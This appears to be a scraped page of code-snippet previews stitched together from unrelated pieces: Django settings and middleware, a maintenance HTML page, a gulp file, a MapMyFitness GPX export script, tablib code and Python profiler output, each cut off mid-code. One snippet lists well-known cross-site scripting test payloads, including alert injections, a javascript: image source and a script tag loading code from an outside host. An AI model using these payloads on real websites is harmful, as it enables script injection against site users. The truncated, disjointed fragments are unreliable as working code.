-
In your local_settings.py file:
DATABASES = { 'default': { 'ENGINE': 'django.db.backends.postgresql_psycopg2', 'NAME': 'django_%s' % (PROJECT_NAME,),
'USER': xxxx,
<!doctype html> | |
<title>Site Maintenance</title> | |
<style> | |
body { text-align: center; padding: 20px; } | |
@media (min-width: 768px){ | |
body{ padding-top: 150px; } | |
} | |
h1 { font-size: 50px; } | |
body { font: 20px Helvetica, sans-serif; color: #333; } | |
article { display: block; text-align: left; max-width: 650px; margin: 0 auto; } |
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//"; | |
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-- | |
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> | |
VM239:3 '';!--"<XSS>=&{()} | |
VM239:3 <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> | |
VM239:3 <IMG SRC="javascript:alert('XSS');"> |
'use strict'; | |
var gulp = require('gulp'); | |
var gutil = require('gulp-util'); | |
var del = require('del'); | |
var uglify = require('gulp-uglify'); | |
var gulpif = require('gulp-if'); | |
var exec = require('child_process').exec; | |
var notify = require('gulp-notify'); |
# quick & dirty export of workouts to *.gpx file with timestamps from MapMyFitness API | |
# for purpose of moving to other apps (tested with Endomondo) | |
# based on: https://developer.mapmyapi.com/docs/read/Authentication2 | |
# needs API access request "Request a key" @ https://developer.mapmyapi.com/ | |
from __future__ import unicode_literals | |
import requests | |
import urlparse | |
import webbrowser | |
import json | |
from requests_oauthlib import OAuth2 |
# -*- coding: utf-8 -*- | |
""" Tablib - XLS Support. | |
""" | |
import math | |
import sys | |
import itertools | |
from tablib.compat import BytesIO, xlwt |
# models.py | |
class Link(models.Model): | |
..... | |
place = models.ManyToManyField("PlaceForLink", through="LinkPlace", related_name="link") | |
..... | |
place.hasplace_filter = True | |
# filters.py | |
class HasPlaceFilterSpec(FilterSpec): | |
def __init__(self, f, request, params, model, model_admin, field_path=None): |
"""Cache of Site related settings | |
Site IDs and urlconfs are such that are testd on *all* requests thus they need | |
to be cached. | |
""" | |
from django.conf import settings | |
from django.contrib.sites.models import Site |
"""Allows serving multiple sites per Django instance | |
""" | |
from django.utils.cache import patch_vary_headers | |
from sitecache import get_site_id, get_urlconf | |
class MultiSitedMiddleware: |
>>> import pstats | |
>>> p = pstats.Stats('p.1258156459.52174278XcQE.prof') | |
>>> p.strip_dirs().sort_stats(-1).print_stats(5) | |
Fri Nov 13 15:54:20 2009 p.1258156459.52174278XcQE.prof | |
124278 function calls (122386 primitive calls) in 0.589 CPU seconds | |
Ordered by: standard name | |
List reduced from 1014 to 5 due to restriction <5> |